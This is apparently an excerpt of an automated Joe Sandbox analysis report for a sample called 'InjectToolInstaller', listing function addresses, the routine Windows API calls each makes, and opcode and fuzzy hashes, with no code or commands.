Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 47b8300c1b160a0651c56a954b6eda53863638d8c31f38558aa5f1a9e406ac42
Instruction ID: c379d60330bbca98c2ecd694e6cdf40af6d597a8be898c9c944cdfbe1239b4e2
Opcode Fuzzy Hash: 47b8300c1b160a0651c56a954b6eda53863638d8c31f38558aa5f1a9e406ac42
Instruction Fuzzy Hash: 2D31D331D04329AFDB11DBACD548B9DB7E5EF40328F2140DAE5049B2E1EB319E40CB40

Uniqueness

Uniqueness Score: -1.00%

Function 013BD587 Relevance: 3.1, APIs: 2, Instructions: 85COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 013BD591

Part of subcall function 013BD377: EnterCriticalSection.KERNEL32(?,?,?,013BD432), ref: 013BD37C
Part of subcall function 013BD377: LeaveCriticalSection.KERNEL32(?,?,013BD432), ref: 013BD386

Part of subcall function 013BD356: PostMessageA.USER32 ref: 013BD36B

Part of subcall function 013BD391: EnterCriticalSection.KERNEL32 ref: 013BD398
Part of subcall function 013BD391: LeaveCriticalSection.KERNEL32 ref: 013BD3BB

__aulldiv.LIBCMT ref: 013BD61B

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CriticalSection$EnterLeave$H_prolog3_MessagePost__aulldiv
String ID:
API String ID: 3092066466-0
Opcode ID: 32a14a114833e17747fedd5548611f427e9ec5cbac5ddde37b017b8189d965d5
Instruction ID: 6fb9c23426699fdd0245a8c5ea0084bf499c3c231459b17160982972c0f50314
Opcode Fuzzy Hash: 32a14a114833e17747fedd5548611f427e9ec5cbac5ddde37b017b8189d965d5
Instruction Fuzzy Hash: A7318471600219AFCF21ABA8CC80FDEB779EF5520CF404499E24D63551EF316E498F60

Uniqueness

Uniqueness Score: -1.00%

Function 013E6094 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,013E646E,00000006,FlsSetValue,014023B4,014023BC,00000000,00000364,?,013E5A9D,00000000), ref: 013E60F4
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 013E6101

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 59edef22b9c17a14b603b76513b38950808e2909e59ab16a35d9f32a0884efc2
Instruction ID: 01db6574ae214f847154ab8a3bd8a57070ef9b4ee63c0f2b7e401e800035076c
Opcode Fuzzy Hash: 59edef22b9c17a14b603b76513b38950808e2909e59ab16a35d9f32a0884efc2
Instruction Fuzzy Hash: 31110DB36006359BDF32DD2DF84555A7BE59B90228F074214FE15AB1D9DB31DC0187D0

Uniqueness

Uniqueness Score: -1.00%

Function 013A9CBE Relevance: 3.0, APIs: 2, Instructions: 43fileCOMMON

Download Yara Rule

APIs

Part of subcall function 013AADE3: GetFileAttributesA.KERNEL32(00000000,013A9CCE,?,?,013A9CCE,?), ref: 013AAE01

DeleteFileA.KERNEL32(00000000,?,?,?), ref: 013A9D00
DeleteFileW.KERNELBASE(?,?), ref: 013A9D19

Part of subcall function 013AA494: SetFileAttributesA.KERNEL32(00000000,00000000,00000000,?,?,00000000,?), ref: 013AA4B5

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: 21d757c8d4d0cf506095e9964ce6dec874cfde671388ccab93e68ef02110d33c
Instruction ID: 6b59b4ae449c58529e637b01817f6406c549df28dfd22e2c64ef4fbe93173feb
Opcode Fuzzy Hash: 21d757c8d4d0cf506095e9964ce6dec874cfde671388ccab93e68ef02110d33c
Instruction Fuzzy Hash: E4F0F637C059192BDF3166BC9845BEE7B9CCF1232CF940252EE15B7282DA25849683D1

Uniqueness

Uniqueness Score: -1.00%

Function 013AB138 Relevance: 3.0, APIs: 2, Instructions: 42fileCOMMON

Download Yara Rule

APIs

Part of subcall function 013AB119: CloseHandle.KERNELBASE(?), ref: 013AB123

CreateFileW.KERNELBASE(?,?,?,00000000,00000000,?,00000000), ref: 013AB197

Part of subcall function 013A6F94: __EH_prolog3.LIBCMT ref: 013A6F9B
Part of subcall function 013A6F94: AreFileApisANSI.KERNEL32(?,00000010,013A94E9,?,?), ref: 013A6FB3

CreateFileA.KERNEL32(00000000,?,?,00000000,?,?,00000000), ref: 013AB171

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: File$Create$ApisCloseH_prolog3Handle
String ID:
API String ID: 229077992-0
Opcode ID: 0f14c02714f29e7ea7d77f9ce1af36da2a5e7af993873ec6892a9c675de16486
Instruction ID: 3bea10fefa8f262cfa5f0a7d5580408ae85f1721c99c80ab296acfdff301c337
Opcode Fuzzy Hash: 0f14c02714f29e7ea7d77f9ce1af36da2a5e7af993873ec6892a9c675de16486
Instruction Fuzzy Hash: E3014B3240020AFFDF226FA4DC06B997F7AFF18318F144519FE64261A4D772A5B5AB80

Uniqueness

Uniqueness Score: -1.00%

Function 013AACFC Relevance: 3.0, APIs: 2, Instructions: 41fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(?,?), ref: 013AAD25
FindNextFileW.KERNELBASE(?,?), ref: 013AAD4B

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 85d988ab98db1f59a21901ced522415a3f0fa37c1fc2681c791b2696189fc044
Instruction ID: 05a59d6e9019a3816505fd4745898dcec76f4be3f7a5d55c9e5e71fb4f76fbdb
Opcode Fuzzy Hash: 85d988ab98db1f59a21901ced522415a3f0fa37c1fc2681c791b2696189fc044
Instruction Fuzzy Hash: D5018672501119ABCB20FF74DD44BE9B7ACDF15309F500495A945D7014E7359A48DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 013BB3F7 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BB3FE

Part of subcall function 013AA7BA: __EH_prolog3.LIBCMT ref: 013AA7C1

__CxxThrowException@8.LIBVCRUNTIME ref: 013BB455

Part of subcall function 013C27E6: RaiseException.KERNEL32(?,?,?,?,?), ref: 013C2845

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3$ExceptionException@8RaiseThrow
String ID:
API String ID: 1412866469-0
Opcode ID: 871227c8fa066309db52ade02beb360a16d6f880cba3d10772fe82c1d9ba0c6f
Instruction ID: 7cd4161239186e7768e3488ca28de784de602092403983697b4a60b9d617134a
Opcode Fuzzy Hash: 871227c8fa066309db52ade02beb360a16d6f880cba3d10772fe82c1d9ba0c6f
Instruction Fuzzy Hash: 4F01DF3160020BAEDB05FFB8C884ACDBF75FF21318F108209A554971A1DB30A66DDBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013CDA48 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0140DBA8,00000010), ref: 013CDA5B
ExitThread.KERNEL32 ref: 013CDA62

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: af6d09ad91102d0154596ce1bcd4e23e6da51853bb57baee50d373bd89551114
Instruction ID: 7855ffa47bc91e2a258b4b6076670608d5e1528d8218ba831de5c30976c27e9f
Opcode Fuzzy Hash: af6d09ad91102d0154596ce1bcd4e23e6da51853bb57baee50d373bd89551114
Instruction Fuzzy Hash: 52F0C2B590070AAFDB15BFB8C809AAD7BB8FF55718F20015DF802572D1CB359941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 013AB367 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?,?,?,?,013AB232,00000000,00000000,00000001,?), ref: 013AB383
GetLastError.KERNEL32(?,?,?,?,?,?,?,013AB232,00000000,00000000,00000001,?), ref: 013AB390

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ea2779063f8f02ed9b162ee0324d41ba2f1ff4d01a2674ddb4f9c5e7d777cda4
Instruction ID: 74f5314b3abf9566afe96d3256fbad509ff68d8839c857fc08bb9ba0f51274c0
Opcode Fuzzy Hash: ea2779063f8f02ed9b162ee0324d41ba2f1ff4d01a2674ddb4f9c5e7d777cda4
Instruction Fuzzy Hash: A3F09A31504118AFCB14CF68D800AEEBBE8EF49320F1482A9FC1587395D631DD10ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 013AA494 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000000,?), ref: 013AA4D5

Part of subcall function 013A6F94: __EH_prolog3.LIBCMT ref: 013A6F9B
Part of subcall function 013A6F94: AreFileApisANSI.KERNEL32(?,00000010,013A94E9,?,?), ref: 013A6FB3

SetFileAttributesA.KERNEL32(00000000,00000000,00000000,?,?,00000000,?), ref: 013AA4B5

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: File$Attributes$ApisH_prolog3
String ID:
API String ID: 4008089213-0
Opcode ID: 25267b745eaed93d3922db55f082f222b285dc7f2e141f8e1eeb886a1d61ee5b
Instruction ID: b0082c116869d70f943040f640eae96a90d75dc991ff29341956b189d61362ce
Opcode Fuzzy Hash: 25267b745eaed93d3922db55f082f222b285dc7f2e141f8e1eeb886a1d61ee5b
Instruction Fuzzy Hash: AAF0A03780421EBFCF226FA4E84CAC97F6DEF11318F448155FE0867224D6328568EB80

Uniqueness

Uniqueness Score: -1.00%

Function 013A9A83 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000), ref: 013A9AC2

Part of subcall function 013A6F94: __EH_prolog3.LIBCMT ref: 013A6F9B
Part of subcall function 013A6F94: AreFileApisANSI.KERNEL32(?,00000010,013A94E9,?,?), ref: 013A6FB3

CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?), ref: 013A9AA3

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CreateDirectory$ApisFileH_prolog3
String ID:
API String ID: 123619932-0
Opcode ID: 4a0b5588bd0cea65d2f4027eca366d2b8bd094958f4fd65f78439baf76936649
Instruction ID: 8c6c6a1c18eeb19d4720bd630f9dc5dd27770c48259dca27a9d587336f2019dc
Opcode Fuzzy Hash: 4a0b5588bd0cea65d2f4027eca366d2b8bd094958f4fd65f78439baf76936649
Instruction Fuzzy Hash: 72F0A03290420ABBEF216AA89C08B897F6CDB11718F445052FE04AA150D63189589790

Uniqueness

Uniqueness Score: -1.00%

Function 013AA213 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE(?), ref: 013AA24E

Part of subcall function 013A6F94: __EH_prolog3.LIBCMT ref: 013A6F9B
Part of subcall function 013A6F94: AreFileApisANSI.KERNEL32(?,00000010,013A94E9,?,?), ref: 013A6FB3

RemoveDirectoryA.KERNEL32(00000000,?,?), ref: 013AA231

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: DirectoryRemove$ApisFileH_prolog3
String ID:
API String ID: 3615475249-0
Opcode ID: 0d70e7ad37d579e47a22ea44ceb8d89b345e755fc26ca901abd22e7deed516c7
Instruction ID: 5dad5c7bb3dcb238238beb484f3308f3ed092d491004bb58d21fc6f7a8ed6d34
Opcode Fuzzy Hash: 0d70e7ad37d579e47a22ea44ceb8d89b345e755fc26ca901abd22e7deed516c7
Instruction Fuzzy Hash: 56E0E533C0411FBFCF216BB4D808A997F6CEB22318F404165ED0553110D7368528D7D0

Uniqueness

Uniqueness Score: -1.00%

Function 013AA3E8 Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?), ref: 013AA422

Part of subcall function 013A6F94: __EH_prolog3.LIBCMT ref: 013A6F9B
Part of subcall function 013A6F94: AreFileApisANSI.KERNEL32(?,00000010,013A94E9,?,?), ref: 013A6FB3

SetCurrentDirectoryA.KERNEL32(00000000,?,?), ref: 013AA406

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CurrentDirectory$ApisFileH_prolog3
String ID:
API String ID: 62235829-0
Opcode ID: 256f9b41da41f0deb24211d47092a773fc81b79327648f7096d3bed2344897cd
Instruction ID: 4106c33f882fd83f1b6c4670f09249186ef0b3b1487a631b1b7c0406000498c9
Opcode Fuzzy Hash: 256f9b41da41f0deb24211d47092a773fc81b79327648f7096d3bed2344897cd
Instruction Fuzzy Hash: FFE09233D4511EBBCF216BB8E80D99D7F6DDB15314F0482A1FE09E3164DA31456897C0

Uniqueness

Uniqueness Score: -1.00%

Function 013AADE3 Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,013A9CCE,?), ref: 013AAE1A

Part of subcall function 013A6F94: __EH_prolog3.LIBCMT ref: 013A6F9B
Part of subcall function 013A6F94: AreFileApisANSI.KERNEL32(?,00000010,013A94E9,?,?), ref: 013A6FB3

GetFileAttributesA.KERNEL32(00000000,013A9CCE,?,?,013A9CCE,?), ref: 013AAE01

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: File$Attributes$ApisH_prolog3
String ID:
API String ID: 4008089213-0
Opcode ID: a4be615c689a624a7ff11e971f2a41b5bae748345e569de9b4fbdc1b1f4f2072
Instruction ID: 411279a1af2cafa2bc9dfd10086054cf45996e76efb9eb17cc06b1c66a9568c6
Opcode Fuzzy Hash: a4be615c689a624a7ff11e971f2a41b5bae748345e569de9b4fbdc1b1f4f2072
Instruction Fuzzy Hash: 2AE06532A04108AFCF256BB8EC4595D7FACEB15365F040269FA19D31A0DA3189648781

Uniqueness

Uniqueness Score: -1.00%

Function 013BE706 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BE70D

Part of subcall function 013AD3F4: __EH_prolog3.LIBCMT ref: 013AD3FB
Part of subcall function 013AD3F4: SetWindowTextW.USER32 ref: 013AD40F

ShowWindow.USER32(?,00000001), ref: 013BE74E

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3Window$ShowText
String ID:
API String ID: 3420578131-0
Opcode ID: 8b2c397842207351d2577848cc81aa93346974ad3a980352d09354c575e83aee
Instruction ID: f80ba6637839dfabd72cc579960b1deb8ea00e7d1175e6464c7c6ebda79118ca
Opcode Fuzzy Hash: 8b2c397842207351d2577848cc81aa93346974ad3a980352d09354c575e83aee
Instruction Fuzzy Hash: BCF01C35540206AEDB217BA8CC49FDD7B65AF14308F104829B3446E5A0FAB1E9589B50

Uniqueness

Uniqueness Score: -1.00%

Function 013B2146 Relevance: 1.8, APIs: 1, Instructions: 316COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013B214D

Part of subcall function 013B2D3F: __CxxThrowException@8.LIBVCRUNTIME ref: 013B2D39

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Exception@8H_prolog3Throw
String ID:
API String ID: 3670251406-0
Opcode ID: 4ab591e8d7415dab2e0eb75127f6f9699c3c6d252232285c02e4cb640a1d53df
Instruction ID: 0646bbafcb372db8c66f12a1e10bad04aca41c31a876919e1fa502564e47f827
Opcode Fuzzy Hash: 4ab591e8d7415dab2e0eb75127f6f9699c3c6d252232285c02e4cb640a1d53df
Instruction Fuzzy Hash: 80D14874E0021A9FCB15DF58C5D09EEB7B1FF49318B148229EA59ABB11E730F951CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013BD861 Relevance: 1.8, APIs: 1, Instructions: 300COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BD86B

Part of subcall function 013BD3C6: EnterCriticalSection.KERNEL32(?,?,?,013BD6C7,?,013BDD0B), ref: 013BD3CB
Part of subcall function 013BD3C6: LeaveCriticalSection.KERNEL32(?,?,013BD6C7,?,013BDD0B), ref: 013BD3D5

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CriticalSection$EnterH_prolog3Leave
String ID:
API String ID: 4250467438-0
Opcode ID: a80547d472dcc6ab909cf85f473f1ac3684f9e152b6aff96687010bcf5d7d7d7
Instruction ID: 7a27b801b648582a1f9f9bc243df70b2f875ebc4aa7048e5063b0bc0fa7b6a89
Opcode Fuzzy Hash: a80547d472dcc6ab909cf85f473f1ac3684f9e152b6aff96687010bcf5d7d7d7
Instruction Fuzzy Hash: 4BC17C7190020ADFDF21EFA8C880AEEBBB5FF5431CF144519E656AB990FB31A945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013B13D0 Relevance: 1.7, APIs: 1, Instructions: 216COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013B13D7

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: e058f4d4e763c4565314c13d86c49af119b4e2c495b83f43c680d9e42f124064
Instruction ID: b3f76e0fd6ca762391bd036ebea45c0ca0315808ecc640ae1109764c80997bb8
Opcode Fuzzy Hash: e058f4d4e763c4565314c13d86c49af119b4e2c495b83f43c680d9e42f124064
Instruction Fuzzy Hash: 2A915D70A10646DFDB15DBB8D8E4BEEBBF5BF18308F14442AD656D3A41EB34A940CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013BC052 Relevance: 1.7, APIs: 1, Instructions: 173COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BC059

Part of subcall function 013BBBFC: __EH_prolog3.LIBCMT ref: 013BBC03

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: f7c4ddc3ea5e46b0bcbc1995f34276d258247f94943fe7cfbe027b2cca9c9cfc
Instruction ID: d53bf41a5ac0f314d8a059b798fe5d46790e7240f5d13864e79372be6040aa62
Opcode Fuzzy Hash: f7c4ddc3ea5e46b0bcbc1995f34276d258247f94943fe7cfbe027b2cca9c9cfc
Instruction Fuzzy Hash: 6E5183716002069FEB25EBA8C885FEEB7FDEF14308F14042DE645EB561EB71A945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013B10A5 Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013B10AF

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

